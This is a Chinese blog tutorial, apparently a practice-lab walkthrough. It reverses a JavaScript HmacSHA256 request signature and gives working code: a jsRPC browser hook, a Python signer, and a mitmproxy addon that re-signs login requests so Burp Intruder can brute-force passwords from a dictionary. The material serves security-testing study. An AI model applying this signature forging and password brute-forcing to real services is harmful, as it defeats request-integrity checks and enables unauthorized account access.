编程 JS 逆向与接口签名自动加解密实战:从 HmacSHA256 到 mitmproxy 自动化

2026-08-26 12:28:46 views 15

JS 逆向与接口签名自动加解密实战:从 HmacSHA256 到 mitmproxy 自动化

SEO 摘要

本文以实际靶场为例,详细讲解 JS 逆向中接口签名(signature)的加密逻辑与自动化加解密方案。内容包括 HmacSHA256 签名的生成原理、dataToSign 字符串的拼接规则、基于 jsRPC 的浏览器环境注入、Python 脚本远程调用签名函数,以及利用 mitmproxy 实现请求自动加签/解签的完整流程。适合从事爬虫逆向、接口安全测试的开发者参考。

一、接口签名分析

1. 定位签名参数

访问靶场页面,选择“明文加签”功能,打开浏览器开发者工具查看网络请求。观察到请求参数中包含 signature 字段,该字段用于服务端校验数据完整性,防止请求被篡改。

2. 跟踪签名生成逻辑

分析页面 JavaScript 源码,发现 signature 是基于 dataToSign 字符串通过 HmacSHA256 算法计算得到的。其中 dataToSign 由以下字段按顺序拼接:

const dataToSign = username + password + nonce + timestamp;
  • username:固定值为 admin
  • password:用户提交的密码明文
  • nonce:固定随机字符串,如 zqqz5xi8zfi
  • timestamp:当前 Unix 时间戳(秒级)

签名计算方式如下:

const signature = CryptoJS.HmacSHA256(dataToSign, secretKey).toString(CryptoJS.enc.Hex);

其中 secretKey 为固定密钥,本文靶场值为 be56e057f20f883e

3. 请求重放思路

重新封包时,timestamppassword 可变(password 为需要测试的字典值),其他字段保持不变。只需重新生成对应的 timestampsignature,即可构造合法请求。

二、jsRPC 注入:在浏览器环境中调用签名函数

为避免重复分析 JS 逻辑,可以使用 jsRPC(JavaScript Remote Procedure Call)技术,将浏览器的执行环境注入为可远程调用的服务。

1. 注入 JsEnv_Dev.js

在浏览器控制台中粘贴并执行 JsEnv_Dev.js 代码,建立 WebSocket 通信环境。

2. 注册签名函数

创建客户端实例并注册名为 sgin 的动作函数:

var demo = new HlClient("ws://127.0.0.1:12080/ws?group=zzz");

demo.regAction("sgin", function (resolve, param) {
    const username = 'admin';
    const password = param;
    const nonce = 'zqqz5xi8zfi';
    const timestamp = Math.floor(Date.now() / 1000);
    const secretKey = "be56e057f20f883e";
    const dataToSign = username + password + nonce + timestamp;
    const signature = CryptoJS.HmacSHA256(dataToSign, secretKey).toString(CryptoJS.enc.Hex);
    resolve({ signature: signature, timestamp: timestamp });
});

上述代码中,resolve 用于将结果返回给调用方。外部传入 param(即 password),返回包含新签名和时间戳的对象。

三、Python 脚本调用 jsRPC 服务

编写 Python 脚本,通过 HTTP 请求访问 jsRPC 服务,获取签名结果。

import requests
import json

def sgin(password):
    url = "http://127.0.0.1:12080/go"
    params = {
        "group": "zzz",
        "action": "sgin",
        "param": password
    }
    resp = requests.get(url, params=params, timeout=5)
    resp_json = resp.json()
    raw_data = resp_json["data"]
    
    # 如果 data 字段是字符串,则解析为 JSON 对象
    if isinstance(raw_data, str):
        data = json.loads(raw_data)
    else:
        data = raw_data
    
    return data["signature"], data["timestamp"]

if __name__ == "__main__":
    print(sgin("123456"))

调用 sgin("123456") 即可获得针对该密码生成的 signaturetimestamp

四、mitmproxy 实现接口自动加解密

使用 mitmproxy 作为中间人代理,拦截目标请求,自动为请求体补充加密字段,实现透明的加解密流程。

1. 编写 mitmproxy 脚本

import mitmproxy
import requests
import json
from mitmproxy import ctx

def sgin(password):
    """调用 jsRPC 服务获取签名"""
    url = "http://127.0.0.1:12080/go"
    params = {
        "group": "zzz",
        "action": "sgin",
        "param": password
    }
    resp = requests.get(url, params=params, timeout=5)
    ctx.log.info(f"[sgin] http status:{resp.status_code}, resp text:{resp.text}")
    
    resp_json = resp.json()
    raw_data = resp_json["data"]
    ctx.log.info(f"[sgin] raw_data类型:{type(raw_data)}, raw_data:{raw_data}")
    
    if isinstance(raw_data, str):
        data = json.loads(raw_data)
    else:
        data = raw_data
    
    return data["signature"], data["timestamp"]

class dataencrypt:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        target_path = "/encrypt/signdata.php"
        ctx.log.info(f"[debug] path={flow.request.path}, method={flow.request.method}")
        
        real_path = flow.request.path.split('?')[0]
        
        if flow.request.method == "POST" and real_path == target_path:
            ctx.log.info("[debug] 命中目标接口!")
            try:
                ctx.log.info(f"[debug]原始请求text={flow.request.text}")
                ctx.log.info(f"[debug]content-type={flow.request.headers.get('Content-Type','')}")
                
                ct = flow.request.headers.get("Content-Type", "")
                if "application/json" not in ct:
                    ctx.log.error("[error]不是json请求!本脚本只处理json")
                    return
                
                body_dict = json.loads(flow.request.text)
                pwd = body_dict.get("password")
                ctx.log.info(f"[debug]取出password={pwd}")
                
                new_sig, new_ts = sgin(pwd)
                ctx.log.info(f"[debug]拿到 new_sig={new_sig}, new_ts={new_ts}")
                
                body_dict["timestamp"] = new_ts
                body_dict["signature"] = new_sig
                
                ctx.log.info(f"[debug]修改后的dict={body_dict}")
                flow.request.text = json.dumps(body_dict)
                ctx.log.info(f"[debug]最终发包body={flow.request.text}")
                
            except Exception as e:
                import traceback
                err_msg = traceback.format_exc()
                ctx.log.error(f"[exception]异常:\n{err_msg}")

addons = [dataencrypt()]

2. 启动 mitmproxy

执行以下命令启动代理,监听 9090 端口并加载脚本:

mitmproxy -p 9090 -s mitmproxy_sgin.py

3. 配置代理并测试

在 BurpSuite 中设置上游代理指向 127.0.0.1:9090,然后将请求提交到攻击器(Intruder)模块。配置密码字典进行批量测试,每次请求会自动生成正确的 signaturetimestamp,实现自动化加解密。

五、运行验证

  • 启动 jsRPC 服务端并完成浏览器注入。
  • 运行 Python 脚本验证签名生成正确。
  • 运行 mitmproxy 脚本并发起请求,观察日志确认签名被自动填充。
  • 在靶场中提交伪造请求,若服务端校验通过,则说明整个自动化流程有效。

附:相关工具获取

本文涉及的工具与脚本(如 JsEnv_Dev.js、完整 mitmproxy 脚本等),可关注公众号回复关键字 20260826 获取。

复制全文 生成海报 JS逆向 mitmproxy jsRPC 签名加密

推荐文章

程序员茄子在线接单